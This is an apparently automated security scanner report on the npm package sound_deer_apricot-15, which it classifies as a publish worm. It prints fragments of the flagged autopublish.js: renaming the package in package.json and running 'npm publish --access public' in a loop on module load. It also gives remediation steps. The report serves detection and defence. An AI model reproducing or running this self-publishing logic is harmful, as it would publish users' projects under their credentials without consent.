sound_deer_apricot-15@2.1.4
Ini adalah script Node.js yang bisa auto ganti nama package dalam file `package.json` dan `package-lock.json`, serta bisa publish package ke npmjs.com dengan`npm publish`. Script ini memiliki jeda waktu 1-5 menit untuk publish package selanjutnya. Sambil
AI Security Review
scanned 13h ago · by lpm-firewall-aiThe declared main entry point starts a repeated public publishing loop as soon as the module loads, changing the consuming project's package metadata along the way. This can publish a user's project without an explicit publish request, so the package is malicious.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
Module load through the declared main entry point, autopublish.js.
Impact
A consumer's project may be renamed and published publicly using their npm credentials without an explicit publish request.
Mechanism
The entry point rewrites package.json and package-lock.json, invokes `npm publish --access public`, then schedules another attempt after a delay.
Attack narrative
Loading the declared entry point immediately changes the current project's package name, updates its lockfile, and runs a public npm publish. It then schedules repeated publish attempts, potentially exposing project contents and publishing under randomly generated names using the consumer's npm credentials.
AI rationale
The declared main entry point starts a repeated public publishing loop as soon as the module loads, changing the consuming project's package metadata along the way. This can publish a user's project without an explicit publish request, so the package is malicious.
Evidence
autopublish.jspackage.jsonpackage-lock.json
Network endpoints1
npmjs.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package declares autopublish.js as its main entry point; its description says it renames packages and publishes them to npmjs.com.
- autopublish.js changes the current package name to a random name and writes the change to package.json.
- It also changes package-lock.json and runs `npm publish --access public`.
- The module starts publishing at load time and schedules repeated publish attempts after each run.
Evidence against
Behavioral surface
ChildProcessFilesystemShell
HighEntropyStrings
Source & flagged code
7 flaggedautopublish.jsView file
1const fs = require('fs');
L2: const { exec } = require('child_process');
L3:
...
L28: const animationInterval = setInterval(() => {
L29: process.stdout.write('\r' + animation[currentFrame]);
L30: currentFrame = (currentFrame + 1) % animation.length;
...
L32:
L33: let packageJson = fs.readFileSync('package.json');
L34: let packageData = JSON.parse(packageJson);
L35: let randomString = generateRandomString(10);
...
L45:
L46: exec('npm publish --access public', (error, stdout, stderr) => {
Critical
Npm Publish Worm
Source mutates package metadata and republishes itself to npm.
autopublish.jsView on unpkg · L11Trigger-reachable chain: manifest.main -> autopublish.js
L1: const fs = require('fs');
L2: const { exec } = require('child_process');
L3:
...
L28: const animationInterval = setInterval(() => {
L29: process.stdout.write('\r' + animation[currentFrame]);
L30: currentFrame = (currentFrame + 1) % animation.length;
...
L32:
L33: let packageJson = fs.readFileSync('package.json');
L34: let packageData = JSON.parse(packageJson);
L35: let randomString = generateRandomString(10);
...
L45:
L46: exec('npm publish --access public', (error, stdout, stderr) => {
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
autopublish.jsView on unpkg · L1Findings
2 Critical6 High1 Medium3 Low
CriticalNpm Publish Wormautopublish.js
CriticalTrigger Reachable Dangerous Capabilityautopublish.js
HighChild Processautopublish.js
HighShell
HighKnown Malware Source Fingerprint Signatureautopublish3.js
HighAi Review Evidencepackage.json
HighAi Review Evidenceautopublish.js
HighAi Review Evidenceautopublish.js
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to sound_deer_apricot-15@2.1.4.
See all versions of sound_deer_apricot-15 for other recorded verdicts.
- Avoid installing sound_deer_apricot-15@2.1.4. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.